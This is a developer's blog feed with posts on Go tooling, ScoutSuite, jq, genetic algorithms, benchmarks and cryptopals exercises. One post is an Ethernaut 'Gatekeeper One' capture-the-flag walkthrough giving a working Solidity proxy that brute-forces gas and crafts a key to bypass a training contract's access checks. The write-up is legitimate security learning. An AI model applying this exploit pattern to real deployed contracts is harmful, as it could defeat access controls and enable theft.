Forem: Stefan Alfbo

100 Days To Offload - completed

Stefan Alfbo — Sat, 08 Jun 2024 18:19:30 +0000

This is the 100th blog post since June 10th 2023, which means that the 100 Days To Offload challenge has been completed.

The whole point of #100DaysToOffload is to challenge you to publish 100 posts on your personal blog in a year.

It has been a long road but it really feels nice to be done with the challenge now, and hopefully I will be able to keep writing blog posts pretty regular in the future too.

However now it's time for summer here in Sweden!

Until next time!

Go and WebUI

Stefan Alfbo — Fri, 07 Jun 2024 18:59:40 +0000

Last week Microsoft released this blog post, An even faster Microsoft Edge, where they introduced WebUI 2.0. This has been an internal project in the Edge project, which can be summarized as a new markup-first architecture that should reduce code size and JavaScript use, giving more performance and responsiveness.

Or simply,

Use any web browser as GUI. With your preferred language in the backend.

The WebUI library is written in pure C and can be used by many different programming languages, where Go is one option.

Here is a test drive of the new library from Microsoft by using the Go language. We start out with creating the building blocks for the project.



mkdir go-webui && cd $_

go mod init go.webui
go get github.com/webui-dev/go-webui/v2/@v2.4.0

touch main.go
code .

The most interesting line here is the one where we add the go-webui dependency to the project. With this boilerplate stuff in place we can move on to the actual code.

The program we will be writing is basic and look like this.

If you push the Ok button it will create a timestamp in a file. The code below is the complete program and should added to main.go.



package main

import (
    "fmt"
    "os"
    "time"

    "github.com/webui-dev/go-webui/v2"
)

func main() {
    window := webui.NewWindow()

    webui.Bind(window, "OkButton", onOkButtonClicked)

    webui.Show(window, `
    <!doctype html>
    <html>
        <head>
            <meta charset="UTF-8" />
            <title>WebUI with Go</title>
            <script src="/webui.js"></script>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    display: flex;
                    flex-direction: column;
                    align-items: center;
                    justify-content: center;
                    height: 100vh;
                    margin: 0;
                    background: linear-gradient(to right, #ece9e6, #ffffff);
                }
                h1 {
                    color: #333;
                    margin-bottom: 20px;
                }
                button {
                    padding: 10px 20px;
                    margin: 10px;
                    border: none;
                    border-radius: 5px;
                    background-color: #4CAF50;
                    color: white;
                    font-size: 16px;
                    cursor: pointer;
                    transition: background-color 0.3s ease;
                }
                button:hover {
                    background-color: #45a049;
                }
                button:active {
                    background-color: #3e8e41;
                }
            </style>
        </head>
        <body>
            <h1>Hello World from Go!</h1>
            <button id="OkButton">Ok</button>
        </body>
    </html>`)

    webui.Wait()
}

func onOkButtonClicked(e webui.Event) string {
    fileName := "events.txt"
    line := fmt.Sprintf("%s\n", time.Now())

    file, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        fmt.Println("Failed to open file:", err)
        return ""
    }
    defer file.Close()

    _, err = file.WriteString(line)
    if err != nil {
        fmt.Println("Failed to write to file:", err)
        return ""
    }
    return ""
}

Build the application, go build, and then run it, ./go.webui.

This line:



window := webui.NewWindow()

is creating our WebUI window object. Next step is to bind a function to the button with this line:



webui.Bind(window, "OkButton", onOkButtonClicked)

The, onOkButtonClicked, function will be invoked everytime anyone is clicking on the button.



func onOkButtonClicked(e webui.Event) string {
    fileName := "events.txt"
    line := fmt.Sprintf("%s\n", time.Now())

    file, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        fmt.Println("Failed to open file:", err)
        return ""
    }
    defer file.Close()

    _, err = file.WriteString(line)
    if err != nil {
        fmt.Println("Failed to write to file:", err)
        return ""
    }
    return ""
}

That function is responsible to append the value from time.Now() to the file events.txt. The, Show, function on the window object will show the actual GUI and which is defined as the second argument to the show function. As you can see the GUI is defined with regular CSS, HTML and JavaScript. We could have put all the HTML/CSS/JavaScript in separate files instead of inline it in the second parameter.



// Inline
webui.Show(window, "<html><script src=\"/webui.js\"> ... </html>")

// or with a file
webui.Show(window, "file.html")

Finally we end the main function with webui.Wait(), this will make your application run until the user closes all visible windows or when calling exit().

You can read more about WebUI in their documentation. The project seems to be moving a lot since the documentation do not exactly look like the code above, the latest version of WebUI is not 2.4.0 anymore (I believe it's 2.4.2), but I used that version since it just worked on my machine without any problems.

It will be interesting to see how this project progress in the future and if you know the web UI stuff then this might be a great library to build GUI with.

Happy hacking!

ScoutSuite

Stefan Alfbo — Thu, 06 Jun 2024 18:35:11 +0000

ScoutSuite is a really nice security tool to audit your cloud solutions.

I have used it on the AWS cloud and it instantly gave me some things to inspect further and it was easy to get started with. However the tool also support other cloud providers as Azure, GCP and more.

The project is based on Python and can be installed like this.

virtualenv -p python3 venv
source venv/bin/activate

pip install scoutsuite

I recommend to use the custom policy provided by their wiki page when running against AWS. With that you will give the tool minimal privileges.

Set up a new profile in the aws credential file that is using the policy above when authenticating against AWS, call the profile, scoutprofile.

[default]
aws_access_key_id = AKIA...
aws_secret_access_key = thesecretkey

[scoutprofile]
aws_access_key_id = AKIA...
aws_secret_access_key = anothersecretkey

Now we can use the command below to start the application.

$ python scout.py aws --profile scoutprofile

This will start to query the AWS API to find out as much as possible about your AWS environment. When done, it will create a nice web page with a report on all the findings.

I really recommend you to try it out, I had valuable feedback on my first try and the investment to get it running was quite low.

There are of course many tools out there to try out, if you want to explore more, then this curated list is a great resource.

Happy auditing!

AWS Summit Stockholm

Stefan Alfbo — Wed, 05 Jun 2024 19:49:31 +0000

Yesterday, June 4th, I attended the free event, AWS Summit Stockholm 2024.

It was a nice experience filled with insights, innovations, and networking opportunities. The event, held at Stockholmsmässan, brought together thousands of tech enthusiasts, industry experts, and AWS partners, all eager to explore the latest advancements in the cloud technology from AWS.

There were more than 50 sessions and the main theme during the day was generative AI, I hope that the sessions I missed will be available on youtube soon. These were the sessions I attended:

Keynote
Zero Trust at Scale with Amazon Verified Permissions
Model choice in Amazon Bedrock
Enhance observability with insights from Amazon Bedrock
Modernize your data lake using Open Table Formats
Training GenAI Models on Amazon Sagemaker

Attending to these sessions was an enriching experience that left me inspired and equipped with new things to tinker with, I really hope that I will have time to explore some of the topics that were presented during the day.

If you have the opportunity to attend an AWS Summit in the future, I highly recommend it.

Until next time!

Create plugins in Go

Stefan Alfbo — Sat, 25 May 2024 19:19:06 +0000

Of course Go has enabled the possibility to add a plugin feature to your Go application with the standard library.

By adding a plugin feature to your application you enable third-party development, extensibility, customization and more.

Here comes a simple example to use the plugin standard library in an application. We start out by creating the plugin first, which we will call, simple-plugin.



mkdir simple-plugin && cd $_
touch plugin.go
go mod init simple.plugin

code .

The code will be super simple for this plugin, add this to the plugin.go file.



package main

import "fmt"

func SimplePluginFunc() {
    fmt.Println("The simple plugin has been called!")
}

So the plugin needs to be a main package with public functions and/or variables. Therefore we use the package name, main, here and includes one public function, SimplePluginFunc.

A plugin needs to be built with an extra compilation flag, buildmode.



go build -buildmode=plugin -o simple-plugin.so ./plugin.go

This will compile our plugin and produce a simple-plugin.so file as an output artifact of the compilation. The -o flag is not needed, but then the output artifact would have been named plugin.so instead. One drawback with this solution is that it's only supported on Linux, FreeBSD, and Mac. However you can use WSL on your Windows machine to do this too.

Now we have a plugin that we can consume in our main application, so lets create that application.



mkdir app && cd $_

mkdir plugins
cp ../simple-plugin/simple-plugin.so plugins

touch main.go
go mod init example.app

code .

Note that we are creating a directory, plugins, that host our simple-plugin.so plugin from the previous exercise.

In the main file we first create a function to load the plugin.



func loadPlugin() func() {
    plugin, err := plugin.Open("plugins/simple-plugin.so")
    if err != nil {
        log.Fatal(err)
    }

    simplePluginFunc, err := plugin.Lookup("SimplePluginFunc")
    if err != nil {
        log.Fatal(err)
    }

    f, ok := simplePluginFunc.(func())
    if !ok {
        log.Fatal("unexpected type from module symbol")
    }

    return f
}

This function is first using the standard library, plugin, to open our newly created plugin which is located in our plugin directory.

Then we are trying to Lookup our public function in the plugin, which we called SimplePluginFunc. The Lookup function will return a Symbol which is a pointer to the function SimplePluginFunc.

With the help of type assertion we will get the plugin function in a more strongly typed form, which we are doing with simplePluginFunc.(func()).

Finally we are returning the function from our loadPlugin function. The complete app will look like this.



package main

import (
    "log"
    "plugin"
)

func loadPlugin() func() {
    plugin, err := plugin.Open("plugins/simple-plugin.so")
    if err != nil {
        log.Fatal(err)
    }

    simplePluginFunc, err := plugin.Lookup("SimplePluginFunc")
    if err != nil {
        log.Fatal(err)
    }

    f, ok := simplePluginFunc.(func())
    if !ok {
        log.Fatal("unexpected type from module symbol")
    }

    return f
}

func main() {
    simplePlugin := loadPlugin()

    simplePlugin()
}

And now when we execute our app we will get the output The simple plugin has been called!, as expected.

This is a simple example on how to use this feature from the standard library, plugin, but it's not harder than that. However, I encourage you to read the plugin package documentation which also discuss other options depending on your needs for your application.

Happy coding!

Exploring the tool ./jq

Stefan Alfbo — Tue, 21 May 2024 19:52:22 +0000

I listened to this podcast today, Kodsnack 585 (in Swedish), which discuss the tool jq. The tool has been on my radar for a while, and this episode made me finally to give it a try.

The jq tool is available from the Ubuntu repository and can be installed like this.

sudo apt-get install jq

We are going to use this JSON example from json.org to try out some things with jq, cat data.json, note that the formatting of the file is not perfect on purpose:

{"widget": {
"debug": "on",
"window": {
        "title": "Sample Konfabulator Widget",
        "name": "main_window",
"width": 500,
"height": 500},
    "image": {"src": "Images/Sun.png",
        "name": "sun1",
 "hOffset": 250,
        "vOffset": 250,
        "alignment": "center"
    },
    "text": {
        "data": "Click Here",
        "size": 36,
 "style": "bold",
        "name": "text1",
        "hOffset": 250,
        "vOffset": 100,
        "alignment": "center",
        "onMouseUp": "sun1.opacity = (sun1.opacity / 100) * 90;"
}}}

First jq command will be to pretty print the JSON, jq . data.json

And to extract a field from the JSON data, you can use this command, jq '.widget.window.title' data.json.

We can remove a field by using the command, jq 'map(del(.text))' data.json.

It's possible to list all fields in the file, jq '[.. | objects | keys[]] | unique' data.json.

This list can go on forever, the jq tool has many features to explore and I have only scratched a little bit of the surface here. A good starting point to learn more seems to be the Wiki at jq's GitHub repository. The show notes from the podcast Kodsnack has some excellent resources too.

However, now I have the tool on my machine and I can keep trying it out whenever I need to transform or query JSON data.

Happy querying!

Genetic Algorithms with Go

Stefan Alfbo — Mon, 20 May 2024 19:58:49 +0000

Many years ago I used to read articles at a site called Generation5, and one of the articles was a Hello World program for Genetic Algorithms. I have since then seen people solving this with different programming languages and I myself have tried the example in Python and F#, but now it’s time to do it in Go.

If you haven’t read about Genetic Algorithms (GA) before then you will get a brief introduction below.

The idea is to mimic the biological evolution to evolve an answer to a problem, i.e. survival of the fittest. This is done by creating a population of chromosomes. Each chromosome is representing a possible answer to the problem. The population will be creating a new generation by producing new offsprings, which is done with the help of a fitness selection function and a crossover function. This shall hopefully create a new generation with chromosomes that are closer to the answer of a problem. There can also be some random mutation of new offsprings.

This might be a little bit abstract, but I hope some code might make things more clear.

I will implement a genetic algorithm that will evolve an answer that will represent the string “Hello Go”. The first step therefore is to decide how to represent the chromosome in the code.



type gene byte

type individual struct {
    chromosome []gene
    fitness    int
}

First I’m creating a type definition for the gene, that will be the building block for the chromosome, and a struct to represent the individual in a population. With these in place we can define target which can be be implemented like this:



target := []gene{'H', 'e', 'l', 'l', 'o', ' ', 'G', 'o'}

So the goal is to evolve an answer that looks like the target above. Each character in our chromosome is representing a gene, each gene being an instance of a particular allele (value). We will only use visible characters as our alleles.

Now when we know how our chromosomes should look like, lets see how we can determine its fitness in a population. The fitness calculation function is the main step in the natural selection of new offsprings.



func calculateFitness(target []gene, chromosome []gene) int {
    fitness := 0
    for i := 0; i < len(target); i++ {
        diff := int16(target[i]) - int16(chromosome[i])
        fitness += int(abs(diff))
    }
    return fitness
}

Here will we use the target to calculate the fitness of a chromosome. We are calculating the delta value between each gene (character’s ascii value) with the target one and then sum all the deltas to a fitness value.

The following chromosome, “Heklo Fo”, would then have the fitness value of 2, since both k and F are just one step away from its right value.



func TestCalculateFitness(t *testing.T) {
    target := []gene{'H', 'e', 'l', 'l', 'o', ' ', 'G', 'o'}
    chromosome := []gene{'H', 'e', 'k', 'l', 'o', ' ', 'F', 'o'}

    fitness := calculateFitness(target, chromosome)

    if fitness != 2 {
        t.Errorf("Expected fitness to be 0, but got %d", fitness)
    }
}

Next step to look at is how we can create new offsprings, which is called crossover or recombination in a GA. This is done by taking two chromosomes (parents) and mix theirs genes with each other, see the example below:

Mom: Heklo Fo
Dad: Ghjkn E$
Child: Hekln E$

The locus (index) where the crossover should occur between dad and mom is decided completely random. The selection of who will be parents is also done randomly, however we will only pick parents with a fitness value among the 50% best chromosomes. This could be expressed like this in our code:



func crossover(population []individual, target []gene) individual {
    chromosomeLength := len(population[0].chromosome)
    topHalf := population[:len(population)/2]
    parent1 := topHalf[rand.Intn(len(topHalf))]
    parent2 := topHalf[rand.Intn(len(topHalf))]

    locus := rand.Intn(chromosomeLength)

    child := make([]gene, 0, chromosomeLength)

    child = append(child, parent1.chromosome[:locus]...)
    child = append(child, parent2.chromosome[locus:]...)

    fitness := calculateFitness(target, child)

    return individual{chromosome: child, fitness: fitness}
}

One more thing that we should do in our selection of new offsprings is to select an elite of chromosomes. This is done by keeping the 10% best chromosomes of the current population. By doing this we will make sure that the next generation have chromosomes that are at least as good as its parents generation.



func evolveGeneration(population []individual, target []gene) []individual {
    eliteSize := len(population) / 10 // 10% of the population

    sort.Slice(population, func(i, j int) bool {
        return population[i].fitness < population[j].fitness
    })

    newPopulation := make([]individual, 0, len(population))
    newPopulation = append(newPopulation, population[:eliteSize]...)

    for i := eliteSize - 1; i < len(population); i++ {
        newPopulation = append(newPopulation, crossover(population, target))
    }

    return newPopulation
}

We could also add mutation to the mix when creating a new generation of chromosomes. This is done to avoid that the GA will get stuck in a local maximum in the search space of the problem. However I haven’t added this to the solution.

The complete solution for the Hello Go problem will look like this:



package main

import (
    "fmt"
    "math/rand"
    "sort"
)

type gene byte

type individual struct {
    chromosome []gene
    fitness    int
}

func abs(x int16) int16 {
    if x < 0 {
        return -x
    }
    return x
}

func calculateFitness(target []gene, chromosome []gene) int {
    fitness := 0
    for i := 0; i < len(target); i++ {
        diff := int16(target[i]) - int16(chromosome[i])
        fitness += int(abs(diff))
    }
    return fitness
}

func newChromosome(size int) []gene {
    min := 32  // from ASCII space
    max := 123 // until ASCII z

    chromosome := make([]gene, size)
    for i := 0; i < size; i++ {
        chromosome[i] = gene(rand.Intn(max-min) + min)
    }
    return chromosome
}

func NewPopulation(size int, target []gene) []individual {
    population := make([]individual, size)
    for i := 0; i < size; i++ {
        chromosome := newChromosome(len(target))
        fitness := calculateFitness(target, chromosome)
        population[i] = individual{chromosome: chromosome, fitness: fitness}
    }
    return population
}

func crossover(population []individual, target []gene) individual {
    chromosomeLength := len(population[0].chromosome)
    topHalf := population[:len(population)/2]
    parent1 := topHalf[rand.Intn(len(topHalf))]
    parent2 := topHalf[rand.Intn(len(topHalf))]

    locus := rand.Intn(chromosomeLength)

    child := make([]gene, 0, chromosomeLength)

    child = append(child, parent1.chromosome[:locus]...)
    child = append(child, parent2.chromosome[locus:]...)

    fitness := calculateFitness(target, child)

    return individual{chromosome: child, fitness: fitness}
}

func evolveGeneration(population []individual, target []gene) []individual {
    eliteSize := len(population) / 10 // 10% of the population

    sort.Slice(population, func(i, j int) bool {
        return population[i].fitness < population[j].fitness
    })

    newPopulation := make([]individual, 0, len(population))
    newPopulation = append(newPopulation, population[:eliteSize]...)

    for i := eliteSize - 1; i < len(population); i++ {
        newPopulation = append(newPopulation, crossover(population, target))
    }

    return newPopulation
}

func evolve(population []individual, target []gene, generations int) {
    newPopulation := make([]individual, len(population))

    copy(newPopulation, population)

    for i := range generations {
        newPopulation = evolveGeneration(newPopulation, target)

        bestIndividual := newPopulation[0]
        fmt.Println("Best individual:", string(bestIndividual.chromosome), "Fitness:", bestIndividual.fitness)

        if bestIndividual.fitness == 0 {
            fmt.Println("Generation:", i)
            fmt.Println("Found solution:", string(bestIndividual.chromosome))
            return
        }
    }
}

func main() {
    fmt.Println("Evolve...")

    target := []gene{'H', 'e', 'l', 'l', 'o', ' ', 'G', 'o'}
    populationSize := 2048
    generations := 1000

    population := NewPopulation(populationSize, target)

    evolve(population, target, generations)
}

One part I haven’t mention earlier is how we are initializing our population. This is done with the help of the function NewPopulation which is using the NewChromosome function to randomly create a chromosome. The gene is randomly selected by using a random number between 32 and 123 which is the span for "visible" ascii characters.

Here is the output of the program.

The code has some room for improvements and there are some optimizations we could do to this program. Perhaps some mutation would be interesting to add, or the size of the population could be adjusted, or another size of the elite group, or perhaps we should use another representation of the chromosome (genes as bits instead).

However, the best way to get a deeper understanding of genetic algorithms is to start experimenting with these attributes to see how it affects the end result.

Good luck :-)

Benchmark testing in Go

Stefan Alfbo — Sun, 19 May 2024 19:51:42 +0000

I really like that the Go standard library is including so many testing options right out of the box.

In this post I will introduce the benchmark testing option in Go.

As in many cases in Go there are some conventions to follow to use the Benchmark feature. They are very similar to the ones used for writing unit tests.

First, the Benchmark tests are placed in files with the _test.go suffix. Next rule is that the benchmark test uses the prefix Benchmark instead of Test, so the signature of the function looks like this,

func BenchmarkXxx(*testing.B) {

To run benchmark tests you use the regular test command, but with an extra flag;



go test -bench=.

With this information we are ready to write some tests. The example code that we will try to benchmark is two sorting algorithms, BubbleSort and QuickSort.



func BubbleSort(arr []int) {
    n := len(arr)
    for i := 0; i < n-1; i++ {
        for j := 0; j < n-i-1; j++ {
            if arr[j] > arr[j+1] {
                arr[j], arr[j+1] = arr[j+1], arr[j]
            }
        }
    }
}

func QuickSort(arr []int) {
    quickSort(arr, 0, len(arr)-1)
}

func quickSort(arr []int, low, high int) {
    if low < high {
        pivot := partition(arr, low, high)
        quickSort(arr, low, pivot-1)
        quickSort(arr, pivot+1, high)
    }
}

func partition(arr []int, low, high int) int {
    pivot := arr[high]
    i := low - 1
    for j := low; j < high; j++ {
        if arr[j] < pivot {
            i++
            arr[i], arr[j] = arr[j], arr[i]
        }
    }
    arr[i+1], arr[high] = arr[high], arr[i+1]
    return i + 1
}

I will create a new file, sorting_benchmark_test.go, and begin adding some helper code for the benchmark tests.



func makeRandomNumberSlice(n int) []int {
    numbers := make([]int, n)
    for i := range n {
        numbers[i] = rand.Intn(n)
    }
    return numbers
}

const LENGTH = 10_000

This function, makeRandomNumberSlice, will be used for generating slices that can be sorted in the benchmarks. The variable, LENGTH, represents the length of the slices we are going to sort.

Now lets add two benchmark tests, one for each sorting algorithm.



func BenchmarkBubbleSort(b *testing.B) {
    for i := 0; i < b.N; i++ {
        b.StopTimer()
        numbers := makeRandomNumberSlice(LENGTH)

        b.StartTimer()
        sorting.BubbleSort(numbers)
    }
}

func BenchmarkQuickSort(b *testing.B) {
    for i := 0; i < b.N; i++ {
        b.StopTimer()
        numbers := makeRandomNumberSlice(LENGTH)

        b.StartTimer()
        sorting.QuickSort(numbers)
    }
}

The testing.B struct is providing a field called, N, which is needed so that the tool will be able measure correctly. This is from the Go documentation.

The benchmark function must run the target code b.N times. During benchmark execution, b.N is adjusted until the benchmark function lasts long enough to be timed reliably.

Both tests are using the same pattern. For each loop we are creating a new random slice of length, LENGTH, and then sort it. We are also making sure that the timer is not running while we are generating the slice so it's not included in the measurement.

When running this with, go test -bench=., the result will look something like this.

The output starts with telling us what kind of machine the benchmark is running on. Then there is two lines representing each benchmark test that we have written.

The suffix, -16, in the first column (BenchmarkBubbleSort-16/BenchmarkQuickSort-16), tells us how many CPUs is used to run the tests. The second column is how many loops that was used during the test, b.N. The last column gives us the speed for each loop.

From this test we can clearly see who is the winner, QuickSort. Quicksort has an average-case time complexity of O(n log n), while BubbleSort has a worst-case and average-case time complexity of O(n^2).

As you can see it's easy to get started with benchmark testing in Go, the difficulties lie in what and how to benchmark the code. There is also of course more flags and features to explore and use when writing benchmark tests in Go, please check the documentation for more information.

Happy benchmarking!

Implement PKCS#7 padding

Stefan Alfbo — Thu, 16 May 2024 19:06:07 +0000

This is the first crypto challenge in set 2 from cryptopals, which is a set on block cipher cryptography. This is bread-and-butter crypto, the kind you'll see implemented in most web software that does crypto.

The difficulty level is relatively easy, to solve this problem I have used the programming language Go.

Problem description

A block cipher transforms a fixed-sized block (usually 8 or 16 bytes) of plaintext into ciphertext. But we almost never want to transform a single block; we encrypt irregularly-sized messages.

One way we account for irregularly-sized messages is by padding, creating a plaintext that is an even multiple of the blocksize. The most popular padding scheme is called PKCS#7.

So: pad any block to a specific block length, by appending the number of bytes of padding to the end of the block. For instance,

"YELLOW SUBMARINE"

... padded to 20 bytes would be:

"YELLOW SUBMARINE\x04\x04\x04\x04"

Solution

We begin to create a unit test based on the input and output from the problem description above.

func TestPKCS7Padding(t *testing.T) {
    data := []byte("YELLOW SUBMARINE")

    t.Run("Padding needed", func(t *testing.T) {
        expected := []byte("YELLOW SUBMARINE\x04\x04\x04\x04")
        blockSize := 20

        actual, err := block.PKCS7Padding(data, blockSize)
        if err != nil {
            t.Errorf("Unexpected error: %v", err)
        }

        if string(actual) != string(expected) {
            t.Errorf("Expected %v, was %v", expected, actual)
        }
    })

    t.Run("No padding needed", func(t *testing.T) {
        blockSize := 16
        actual, err := block.PKCS7Padding(data, blockSize)
        if err != nil {
            t.Errorf("Unexpected error: %v", err)
        }

        if string(actual) != string(data) {
            t.Errorf("Expected %v, was %v", data, actual)
        }
    })
}

We are using YELLOW SUBMARINE and the block size 20 as input parameters to the function. The actual output is then confirmed against the expected variable which is, YELLOW SUBMARINE\x04\x04\x04\x04. There is also a test for when the data has the size so it can be evenly divided by the block size.

The implementation of the PKCS7Padding function could look like this.

func PKCS7Padding(data []byte, blockSize int) ([]byte, error) {
    rest := (len(data) % blockSize)
    if rest == 0 {
        return data, nil
    }

    paddingSize := blockSize - rest
    padded := make([]byte, len(data)+paddingSize)

    copy(padded, data)

    for i := len(data); i < len(padded); i++ {
        padded[i] = byte(paddingSize)
    }

    return padded, nil
}

First we calculate the padding size by using the modulus operator to see if the data can be evenly divided by the block size. If there is no rest, then we don't have to pad the data; otherwise we calculate how many bytes we need to pad to complete the last block.

The for loop is doing the padding, where each byte added as padding is set to the number of bytes that are added. This means the value of each padding byte is the same as the paddingSize variable.

The complete solution can be found on GitHub.

Conclusion

The padding scheme for PKCS#7 is simple to understand and straightforward to implement.

References

Gatekeeper One - Level 13

Stefan Alfbo — Wed, 15 May 2024 19:23:50 +0000

Problem statement

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:

Remember what you've learned from the Telephone and Token levels.
You can learn more about the special function gasleft(), in Solidity's documentation (see here and here).



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.



await contract.address

And keep the address available for a later step.

Open a new tab in your browser (Ctrl+t) and go to Remix. In Remix, create a new file and name it GatekeeperOneProxy.sol, and add the following Solidity code to it.



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperOneProxy {
  event GasNeeded(uint gas);

  function callEnter(address _address) external {
    bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);

    // Brute force
    for (uint256 i = 0; i < 8191; i++) {
        (bool success, ) = address(_address).call{gas: i + 30300}(abi.encodeWithSignature("enter(bytes8)", gateKey));
        if (success) {
            emit GasNeeded(i + 30300);
            return;
        } 
    }
  }
}

Go to the compiler and compile the GatekeeperOneProxy contract.

When the contract has been compiled without any errors it's possible to deploy it to the Sepolia network. This is done in the DEPLOY & RUN TRANSACTIONS view in Remix. Make sure to use the environment, Injected Provider - MetaMask.

Click the button Deploy and sign the transaction with your wallet. Now it's time to use our contract.

Take the address from step one and paste it into the enter field right of the orange callEnter button.

When the address is pasted, push the orange callEnter button and sign the transaction with your wallet.

After the transaction has been mined and the execution is succeeded, jump back to web page where we created the new instance of the GatekeeperOne contract. In the console window verify that the contract has updated its state accordingly.



await contract.entrant()

If the outcome looks fine (the value is not 0x00000...), then finish the challenge by clicking the button, Submit instance, to commit and update the progress on the ethernaut contract.

Explanation

There are three obstacles that we need to overcome in this problem. Each one is defined by a modifier function.

The first one.



    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

Has the same challenge as the problem statement in Telephone - Level 04. The solution to this is to use a "proxy" contract to make our calls through.

tx.origin (address): sender of the transaction (full call chain)
msg.sender (address): sender of the message (current call)

The second modifier is more difficult.



    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

Here we need to understand gasleft, which is a built-in function that is used to check the remaining gas during a contract call. And also how we can provide and control the gas and ether for the call invocation.

This is how the solution looks like.



    // Brute force
    for (uint256 i = 0; i < 8191; i++) {
        (bool success, ) = address(_address).call{gas: i + 30300}(abi.encodeWithSignature("enter(bytes8)", gateKey));
        if (success) {
            emit GasNeeded(i + 30300);
            return;
        } 
    }

Here we loop up to 8191 to increment the gas in each call to the GatekeeperOne contract until we pass the modifier. The .call{gas: i + 30300} is where we control the gas. There is a lot of magic numbers here, however the reason behind the number 30300 is the fact that I tried it out in the Remix environment and used the Remix VM - Sepolia fork. That's also the reason why the emit statement is included in the code.

The last modifier.



    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

This is a good opportunity to use chisel to see how the type conversions are working.

Lets illustrate what happens with _gateKey on the left side first.

This shows us that there will be a conversion loss, and we loose FF. If we do the same exercise for the right side of the equal sign.

Here we loose even more bits. With this information we have the insights for doing the bit manipulation to pass the first require statement.



bytes8 _gateKey = <value> & 0x0000FFFF;

Next up is part two.

There is no conversion loss here, however the first four bytes can't be equal to zero. Therefore we want to make sure that we don't mask away those values in the _gateKey variable since the left side conversion will turn them into zeros as seen earlier.



bytes8 _gateKey = <value> & 0xFFFFFFFF0000FFFF

The third part indicates that our _gateKey should be based on the tx.origin variable. Let check how that last conversion behave in chisel.

This one is similar to the first part, only the last two bytes are left, but it gives us the hint that our value should be the tx.origin variable.



bytes8 gateKey = bytes8(uint64(uint160(tx.origin)) & 0xFFFFFFFF0000FFFF);

Now we have all the pieces to pass all the modifier functions and complete the hack.

This shows once again that is important to be aware of what happens when converting variables between different types in a contract.

Resources

Gatekeeper One - This challenge
Remix - Web based IDE for Solidity
Solidity - Solidity documentation
web3.js - Ethereum JavaScript API documentation

Detect AES in ECB mode

Stefan Alfbo — Tue, 14 May 2024 18:17:10 +0000

This is the eighth and last crypto challenge in set 1 from cryptopals, which is the qualifying set.

The difficulty level is relatively easy, to solve this problem I have used the programming language Go.

Problem description

In the given file there are a bunch of hex-encoded ciphertexts.

One of them has been encrypted with ECB.

Detect it.

Remember that the problem with ECB is that it is stateless and deterministic; the same 16 byte plaintext block will always produce the same 16 byte ciphertext.

Solution

First step is to refactoring the code from the previous challenge so we can reuse some of the functions in this challenge. We will need encrypt and decrypt functions that are using AES with ECB mode.

func EncryptAESWithECBMode(plaintext []byte, key []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    ciphertext := make([]byte, len(plaintext))
    blockSize := len(key)

    for start, end := 0, blockSize; start < len(plaintext); start, end = start+blockSize, end+blockSize {
        block.Encrypt(ciphertext[start:end], plaintext[start:end])
    }

    return ciphertext, nil
}

func DecryptAESWithECBMode(ciphertext []byte, key []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    plaintext := make([]byte, len(ciphertext))
    blockSize := len(key)

    for start, end := 0, blockSize; start < len(ciphertext); start, end = start+blockSize, end+blockSize {
        block.Decrypt(plaintext[start:end], ciphertext[start:end])
    }

    return plaintext, nil
}

And to verify that it works we can reuse the input from last challenge here too.

func TestEncryptAESWithECBMode(t *testing.T) {
    plaintext, err := basics.DecryptAESWithECBModeFile("7.txt", []byte("YELLOW SUBMARINE"))
    if err != nil {
        t.Errorf("Unexpected error: %v", err)
    }

    ciphertext, err := basics.EncryptAESWithECBMode(plaintext, []byte("YELLOW SUBMARINE"))
    if err != nil {
        t.Errorf("Unexpected error: %v", err)
    }

    decryptedPlaintext, err := basics.DecryptAESWithECBMode(ciphertext, []byte("YELLOW SUBMARINE"))
    if err != nil {
        t.Errorf("Unexpected error: %v", err)
    }

    if string(decryptedPlaintext) != string(plaintext) {
        t.Errorf("Expected plaintext: %s, got: %s", string(plaintext), string(decryptedPlaintext))
    }
}

Here we test that we can decrypt the file and then encrypt it with the encrypt method defined earlier, and finally we use the decrypt function to verify that we get the same plaintext once again.

With these function it is possible to write a unit test for validating our detection function.

func TestDetectAESInECBMode(t *testing.T) {
    plaintext := []byte("YELLOW SUBMARINEYELLOW SUBMARINE")
    key := []byte("YELLOW SUBMARINE")

    ciphertext, _ := basics.EncryptAESWithECBMode(plaintext, key)
    keySize := len(key)

    if !basics.DetectAESInECBMode(ciphertext, keySize) {
        t.Errorf("Expected to detect ECB mode")
    }
}

Now we have to implement the actual solution to the given problem, however, let's first recall this from the problem description.

